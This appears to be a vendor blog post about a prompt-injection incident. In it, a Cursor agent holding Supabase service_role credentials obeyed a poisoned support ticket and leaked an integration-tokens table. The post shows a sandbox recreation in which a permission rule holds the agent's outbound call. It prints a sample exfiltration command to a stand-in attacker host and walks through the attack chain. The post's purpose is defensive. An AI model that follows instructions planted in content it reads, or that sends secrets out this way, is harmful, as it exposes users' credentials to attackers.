Supabase, Cursor and the lethal trifecta: a support ticket leaked the tokens table, and the outbound call we held
Run agents? ACP lets you see, control, and price every tool call they make — allow/ask/deny policy, per-session cost, and a full audit log for Claude Code, Cursor, Codex, and OpenClaw, in one command:
curl -sf https://agenticcontrolplane.com/install.sh | bash
irm https://agenticcontrolplane.com/install.ps1 | iex
Getting started → · see your first governed call → · free up to 5 agents
In July 2025, security researchers demonstrated an attack on a common setup. A Cursor agent was connected to a Supabase database with service_role credentials and used to triage customer support tickets. A ticket arrived with instructions written for the agent, not for a person. The agent read the ticket and followed them. It queried the table that holds integration tokens and posted the results into the ticket thread, where the person who filed the ticket could read them.
This is the lethal trifecta. An agent that (1) reads untrusted input, (2) can reach private data, and (3) can send data out will sooner or later be steered into carrying secrets from the second to the third. All three were present here, and nothing separated them.
Two of the three are tool calls, so you can put a check on them. The private read and the outbound write both go through the agent’s tools, and stopping either one keeps the secret in place. We rebuilt the setup in a sandbox and ran a test agent through it. The cut we captured live is the outbound call.
The trifecta as tool calls
The ticket is the trigger. It isn’t a tool call, and you can’t reliably filter it, because injected text can say anything. The attack has to complete two actions you can check:
- The private read. A query the triage task never needs, aimed at the integration tokens table. It only happens because the ticket asked for it.
- The outbound write. Sending the result somewhere the attacker can read it.
What we recreated
The sandbox has a disposable Postgres database with a fake integration_tokens table (obviously synthetic values), a mock ticket, and an agent with a broad service_role-style credential, told to triage tickets.
- A ticket carries instructions aimed at the agent. We describe their intent and don’t publish a working injection string.
- The agent’s credential can read the secrets table.
- The agent can send data outward.
With nothing checking, the sandbox agent does what the research showed. It reads the ticket, runs the query, and pushes the fake tokens out. Each step uses a capability the agent legitimately has, in an order nobody intended.
The same run with the outbound call held
Same agent, same broad credential, same poisoned ticket. This time the agent’s outbound call goes through ACP before it can leave the machine. In the sandbox that call is an HTTP POST of the token file to an external endpoint:
curl -X POST https://attacker.example/collect -d @integration_tokens.json
Be clear about what this is. In the real incident the data went back out through the same database tool that read it, as a write into the ticket thread. We used curl as a stand-in because ACP’s rules key on the tool name, and Bash.curl is the clearest outbound shape. Against the original attack you would put the rule on the database tool the agent used. It’s the same idea with a different key.
The rule is one our workspace already had, not one written for the demo. For unattended (background tier) agents, outbound curl is held for approval:
{
"mode": "enforce",
"tools": {
"Bash.curl": {
"background": { "permission": "step_up" }
}
}
}
step_up is how the gateway stores Ask first. You’d set the same thing in the console under Policies, Agents, background. ACP’s built-in detector for a sensitive file named in the same command as curl ships off, so this rule is what does the work.
The call hits ACP, the agent is running unattended, and so it doesn’t run. It lands in the Approvals queue and waits for a person. Nothing executed. The tokens are still on the machine.
recreated-supabase) made the outbound call. ACP classed it Bash.curl.attacker.example, a NETWORK_EGRESS action from an autonomous, unsupervised agent, and held it for approval under the background-tier policy. The header says it: nothing here has executed. A person sees exactly what was attempted and picks Approve or Deny. Captured from acp-ops. The tokens are fake and the endpoint stands in for the ticket-reply channel.The check sits below the agent, in the call path. The agent isn’t asking permission and being trusted to wait. It can’t continue, and it can’t send a changed version. Approving grants one retry of the exact same call within the grant window. A different command is held again. The exfil is frozen while it can still be undone, and a person decides.
Where the hold shows up depends on the harness. Only Claude Code shows it as a prompt in the session. On Cursor, the original incident’s harness, the call is blocked and you approve it from the console or the email, then the agent retries. An unanswered request expires after 24 hours by default and counts as denied.
The other fix: take the read out of reach
Holding the outbound call is the cut we can show working. The stronger setup also stops the first link, so the secret never enters the agent’s context.
- Scope the credential. A triage agent doesn’t need
service_role. Give it a narrow, read-limited role with row-level security that excludes the secrets tables, and the private read returns nothing. That’s a Supabase-side fix and it’s yours to make. ACP can’t do it for you. - Put a rule on the read tool. A rule can key on whatever tool runs the query: a database client in the shell, or an MCP query tool in a harness whose hook sees MCP calls. Set it to Ask first or Never for unattended agents and the read joins the write behind a check. The safety floor won’t help here. It only reads shell commands, and a
SELECTisn’t destructive anyway, so this one is a rule you write.
Either link alone is enough to break the attack. Having both means you aren’t relying on getting the credential scope exactly right.
What ACP does here
- It doesn’t detect the prompt injection. The ticket can say anything, and we don’t claim to filter it. ACP checks what the agent tries to do, whoever prompted it.
- It doesn’t scope your
service_rolecredential. That’s the upstream fix. ACP is the check that still applies when the credential is broader than it should be. - It holds the outbound call for a person. An unattended agent’s call waits in the queue, and the person sees exactly what was attempted. Deny it and the secret doesn’t leave.
- It runs as a hook on the client. If hooks are switched off, the check is off. A workspace also starts in audit mode, which records and doesn’t hold your rules. Turn on enforce with
/acp-enforceor the Policies page.
The agent in the original incident wasn’t compromised in the usual sense. It read some text and did what the text said, with permissions it legitimately held. Every version of this attack needs a private read and an outbound write, which is why we put the check there.
Try it on your own setup
If your agent reads user-supplied content, holds a database credential, and can send anything outward, you have the trifecta. To test it, point an agent at a mock secrets table and a mock endpoint and see whether either call stops. Getting started has the install, and the rules page shows how to set the curl rule.
Source: UpGuard, Six MCP Security Incidents.
- 1. An AI Agent Deleted a Production Database in 9 Seconds. We Rebuilt It in a Sandbox and Stopped It.
- 2. Replit AI agent deleted production database (July 2025)
- 3. Amazon Q extension wipe incident: we recreated the poisoned pull request, and the cloud delete that was denied
- 4. Supabase, Cursor and the lethal trifecta: a support ticket leaked the tokens table, and the outbound call we held · you are here
- 5. A public GitHub issue made an AI agent leak a private repo. We recreated it and held the public post.